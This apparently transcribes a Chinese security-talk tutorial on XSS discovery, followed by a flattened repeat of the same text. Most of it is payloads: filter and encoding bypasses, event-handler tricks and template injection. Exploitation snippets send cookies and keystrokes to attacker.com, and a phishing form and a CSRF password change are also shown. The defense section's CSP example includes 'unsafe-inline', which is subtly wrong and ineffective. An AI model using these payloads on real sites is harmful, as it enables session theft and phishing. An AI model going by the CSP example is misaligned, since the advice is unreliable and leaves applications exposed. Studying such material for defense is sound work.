先知安全沙龙(西安站) - 浅谈XSS漏洞挖掘与构造思路
字数 1229 2025-08-05 08:20:05

XSS漏洞挖掘与构造思路详解

一、XSS漏洞基础概念

XSS(Cross-Site Scripting)跨站脚本攻击是一种将恶意脚本注入到其他用户浏览页面的攻击方式。根据攻击方式不同,XSS可分为:

  1. 反射型XSS:恶意脚本作为请求的一部分被服务器反射回响应中
  2. 存储型XSS:恶意脚本被永久存储在目标服务器上
  3. DOM型XSS:完全在客户端执行,不涉及服务器端处理

二、XSS漏洞挖掘方法论

1. 输入点识别

  • 所有用户可控输入点:表单、URL参数、HTTP头、Cookie等
  • 隐藏输入点:JSON/XML数据、文件上传、WebSocket等
  • 特殊场景:富文本编辑器、Markdown解析、第三方组件

2. 测试向量构造

基本测试向量

<script>alert(1)</script>

<svg/onload=alert(1)>

绕过过滤的变种

<ScRiPt>alert(1)</ScRiPt>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<IMG SRC=javascript:alert('XSS')>

编码绕过

%3Cscript%3Ealert(1)%3C/script%3E
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
\u003Cscript\u003Ealert(1)\u003C/script\u003E

3. 上下文分析

HTML上下文

<div>用户输入点</div>
攻击:</div><script>alert(1)</script><div>

属性上下文

<input value="用户输入点">
攻击:" onmouseover="alert(1)

JavaScript上下文

<script>var name = "用户输入点";</script>
攻击";alert(1);//

URL上下文

<a href="用户输入点">点击</a>
攻击:javascript:alert(1)

三、高级绕过技术

1. 字符集编码绕过

  • UTF-7:+ADw-script+AD4-alert(1)+ADw-/script+AD4-
  • UTF-16:�<�s�c�r�i�p�t�>�a�l�e�r�t�(�1�)�<�/�s�c�r�i�p�t�>�

2. 事件处理器滥用

<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>

3. 协议混淆

<iframe src=DaTa:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>

4. 特殊标签利用

<details ontoggle=alert(1)>
<video><source onerror=alert(1)>

四、防御绕过实战技巧

  1. 大小写混合<ScRiPt>alert(1)</sCrIpT>
  2. 空格/Tab/换行插入<script\t>alert(1)</script>
  3. 注释干扰<script><!-- -->alert(1)</script>
  4. 多重编码%253Cscript%253Ealert(1)%253C/script%253E
  5. 非常规属性:``

五、XSS漏洞利用进阶

1. Cookie窃取

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

2. 键盘记录

document.onkeypress = function(e) {
  new Image().src = 'http://attacker.com/keylogger.php?k='+e.key;
}

3. 钓鱼攻击

document.body.innerHTML = '<form action="http://attacker.com/phish">...</form>';

4. 结合CSRF

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/change_password', true);
  xhr.send('newpass=attacker');
</script>

六、防御措施

  1. 输入过滤

    • 白名单优于黑名单
    • 根据上下文采用不同过滤策略
  2. 输出编码

    • HTML实体编码:< → &lt;
    • JavaScript编码:" → \x22
    • URL编码:& → %26
  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
    
  4. HttpOnly Cookie

    Set-Cookie: sessionid=123; HttpOnly
    
  5. X-XSS-Protection头

    X-XSS-Protection: 1; mode=block
    

七、自动化测试工具

  1. Burp Suite Scanner:自动化XSS检测
  2. XSStrike:高级XSS检测框架
  3. XSS Hunter:盲打XSS验证平台
  4. DOMinator Pro:DOM XSS检测工具

八、实战案例解析

案例1:富文本编辑器绕过

<iframe src="data:text/html,<script>alert(1)</script>">

案例2:JSON响应注入

{"data": "</script><script>alert(1)</script>"}

案例3:AngularJS表达式注入

{{constructor.constructor('alert(1)')()}}

九、参考资料

  1. OWASP XSS防护手册
  2. HTML5安全手册
  3. Browser Security Handbook
  4. XSS Filter Evasion Cheat Sheet

通过系统性地掌握这些知识,安全研究人员可以更有效地挖掘和利用XSS漏洞,同时开发人员也能更好地防御此类攻击。

XSS漏洞挖掘与构造思路详解 一、XSS漏洞基础概念 XSS(Cross-Site Scripting)跨站脚本攻击是一种将恶意脚本注入到其他用户浏览页面的攻击方式。根据攻击方式不同,XSS可分为: 反射型XSS :恶意脚本作为请求的一部分被服务器反射回响应中 存储型XSS :恶意脚本被永久存储在目标服务器上 DOM型XSS :完全在客户端执行,不涉及服务器端处理 二、XSS漏洞挖掘方法论 1. 输入点识别 所有用户可控输入点:表单、URL参数、HTTP头、Cookie等 隐藏输入点:JSON/XML数据、文件上传、WebSocket等 特殊场景:富文本编辑器、Markdown解析、第三方组件 2. 测试向量构造 基本测试向量 绕过过滤的变种 编码绕过 3. 上下文分析 HTML上下文 属性上下文 JavaScript上下文 URL上下文 三、高级绕过技术 1. 字符集编码绕过 UTF-7: +ADw-script+AD4-alert(1)+ADw-/script+AD4- UTF-16: �<�s�c�r�i�p�t�>�a�l�e�r�t�(�1�)�<�/�s�c�r�i�p�t�>� 2. 事件处理器滥用 3. 协议混淆 4. 特殊标签利用 四、防御绕过实战技巧 大小写混合 : <ScRiPt>alert(1)</sCrIpT> 空格/Tab/换行插入 : <script\t>alert(1)</script> 注释干扰 : <script><!-- -->alert(1)</script> 多重编码 : %253Cscript%253Ealert(1)%253C/script%253E 非常规属性 : `` 五、XSS漏洞利用进阶 1. Cookie窃取 2. 键盘记录 3. 钓鱼攻击 4. 结合CSRF 六、防御措施 输入过滤 : 白名单优于黑名单 根据上下文采用不同过滤策略 输出编码 : HTML实体编码: < → &lt; JavaScript编码: " → \x22 URL编码: & → %26 内容安全策略(CSP) : HttpOnly Cookie : X-XSS-Protection头 : 七、自动化测试工具 Burp Suite Scanner :自动化XSS检测 XSStrike :高级XSS检测框架 XSS Hunter :盲打XSS验证平台 DOMinator Pro :DOM XSS检测工具 八、实战案例解析 案例1:富文本编辑器绕过 案例2:JSON响应注入 案例3:AngularJS表达式注入 九、参考资料 OWASP XSS防护手册 HTML5安全手册 Browser Security Handbook XSS Filter Evasion Cheat Sheet 通过系统性地掌握这些知识,安全研究人员可以更有效地挖掘和利用XSS漏洞,同时开发人员也能更好地防御此类攻击。